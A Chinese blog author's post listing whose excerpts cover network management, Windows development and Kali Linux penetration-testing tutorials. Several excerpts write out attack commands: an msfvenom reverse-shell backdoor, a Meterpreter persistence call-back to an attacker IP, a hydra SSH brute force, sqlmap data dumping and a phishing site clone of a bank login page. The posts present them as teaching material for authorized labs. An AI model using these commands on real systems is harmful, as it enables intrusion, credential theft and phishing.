- 博客(11)
- 收藏
- 关注
RSS订阅原创 企业网络管理系统深度学习心得
在没有系统学习企业网络管理之前，我对网络的理解停留在 “接上线路、配置 IP、能上网就可以”。真正进入企业场景后才发现，网络卡顿、掉线、环路、ARP 攻击、带宽被占、配置丢失、安全漏洞等问题随时可能出现。如果没有规范的管理方法，网络随时可能影响业务运行。为了提升自己的专业能力，我认真学习了企业网络管理的全套内容，包括：网络架构、交换机路由器基础配置、VLAN 划分、三层互通、QoS、出口策略、网络安全、行为管理、设备备份、监控巡检、故障处理流程等。通过理论 + 实操练习，我不仅提升了技术能力，更建立了。
2026-07-06 10:32:50
233
原创 Web渗透测试课程学习心得｜零基础靶场实战复盘
除注入漏洞外，我重点学习了反射型与存储型XSS漏洞。漏洞成因是后端未对用户输入的JS脚本进行过滤转义，浏览器会正常解析恶意代码。其中存储型XSS危害更大，恶意代码会存入数据库，所有访问页面的用户都会触发漏洞，存在Cookie窃取、页面挂马等风险。这段时间的学习让我明白，Web渗透是原理优先、工具辅助、思维主导的技术。同时我始终坚守网络安全合规底线，所有测试仅在本地授权靶场完成，绝不触碰非法渗透、未授权测试等违规行为。后续我会继续深耕漏洞原理，强化代码审计能力，补齐实战短板。结语。
2026-06-30 20:26:48
224
原创 Web渗透测试课程学习心得：零基础入门Web安全攻防实战总结
作为网络安全专业学生，本学期系统学习了Web渗透测试课程。相较于传统理论课程，这门课程以为核心，让我从完全零基础，逐步掌握Web站点常见安全漏洞、渗透测试基础流程及漏洞防御方案。通过DVWA靶场多次实操复现，我彻底摆脱了只会背理论、不会做实战的困境，建立起标准的Web安全测试思维。本文结合我的课程项目实操经历，分享学习思路、实战技巧与经验总结。
2026-06-30 20:23:19
235
原创 windowns系统应用
而微软主推的Windows App SDK成为现代化开发的核心：它提供统一 API 层，支持 WinUI 3 原生 UI 框架，兼容.NET（C#）与 C++ 项目，既能构建全新应用，也可通过 XAML Islands 技术为 WPF/WinForms 旧项目注入现代控件，无需完全重写。无论是专业开发、低代码搭建还是 RPA 录制，开发者均需平衡性能优化与跨平台需求，尤其注重数据安全与隐私保护 —— 低代码平台需关注权限管控，RPA 应用需防范操作数据泄露，专业开发则要遵循微软安全开发生命周期规范。
2026-01-04 19:16:33
582
原创 kali服务器渗透攻击
Kali Linux 作为渗透测试领域的 “瑞士军刀”，预装了 300 + 款安全工具，从信息收集、漏洞扫描到权限获取、后渗透攻击，覆盖服务器攻击全流程。本文面向有 Linux 基础的安全爱好者，通过实战化案例拆解服务器攻击的核心逻辑，强调 “合法测试” 原则 —— 所有操作需在授权环境下进行，严禁未授权攻击他人服务器（违反《网络安全法》将承担法律责任）。信息收集是渗透测试的基础，目标是获取服务器 IP、开放端口、操作系统、中间件版本等关键信息，为后续攻击找突破口。三、服务器防御建议（攻防结合）。
2025-12-15 00:39:16
891
原创 Kali Linux 对服务器进行渗透测试与攻击实验详解
本文以“Kali 服务器攻击服务器”为主题，从环境搭建 → 信息收集 → 漏洞扫描 → 漏洞利用 → 提权与维持访问 → 防御加固，完整演示了一次合法授权下的服务器渗透测试流程。本文将以“攻击服务器”为切入点，从环境搭建 → 信息收集 → 漏洞扫描 → 利用攻击 → 提权与维持访问 → 总结与防御建议，完整演示一次合法授权下的服务器渗透测试流程。- -p- ：扫描所有端口（1-65535），时间较长，可先用 -p 1-1000 做快速扫描。在对服务器发起任何“攻击”之前，必须先进行充分的信息收集。
2025-12-15 00:37:35
895
原创 从入门到实践：Kali Linux 渗透测试核心指南
后门植入： msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[本地IP] LPORT=[本地端口] -o backdoor.bin （生成后门文件），通过目标机器执行后门实现持久控制。- 必备工具：安装中文输入法（ apt install fcitx-googlepinyin ）、远程连接工具（ apt install openssh-server ）。- 端口扫描： nmap -sV -p- [目标IP] （扫描所有端口并识别服务版本）。
2025-12-09 12:36:49
324
原创 Kali Linux 网络渗透测试入门指南：从基础到实战
Kali Linux是基于Debian的Linux发行版，专门设计用于数字取证和渗透测试。Kali Linux作为世界上最流行的渗透测试发行版，为网络安全专业人员提供了强大的工具集。本指南旨在为初学者介绍Kali Linux的基本使用和网络渗透测试的基础知识，请仅将这些知识用于合法的安全测试和教学目的。真正的渗透测试技能来自于对系统原理的深入理解、持续的实践和道德的责任感。· 书籍：《Kali Linux高级渗透测试》、《Metasploit渗透测试指南》2. 工具熟悉：逐个学习Kali中的主要工具。
2025-12-09 12:30:15
424
原创 进阶渗透攻击
本文聚焦物联网设备渗透、社会工程学攻击、免杀Payload生成三大进阶方向，以合法授权测试为前提，结合实操案例拆解核心技巧，帮你从“工具使用者”升级为“场景解决者”（注：未授权渗透涉嫌违法，所有操作需在合规靶场完成）。2. 配置参数：选择 Site Cloner （克隆真实网站），输入Kali攻击机IP（如192.168.153.129），再输入要克隆的目标网址（如某模拟银行登录页 www.testfire.net/bank/login.aspx ）。或用 firmadyne 模拟固件运行，测试漏洞。
2025-12-08 21:40:36
329
原创 网络渗透攻击
针对SSH、FTP、远程桌面等服务，暴力破解账号密码，例如： hydra -l root -P password.txt ssh://192.168.1.100 （-l 指定用户名，-P 指定密码字典）。建立长期控制通道，例如： run persistence -X -i 5 -p 4444 -r 192.168.1.102 （-X 开机自启，-i 5秒反向连接一次，-r 指定攻击者IP）。进阶操作： --tables （列出数据表）、 --dump （导出数据），可获取用户账号密码、业务数据等。
2025-12-08 21:37:29
390
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人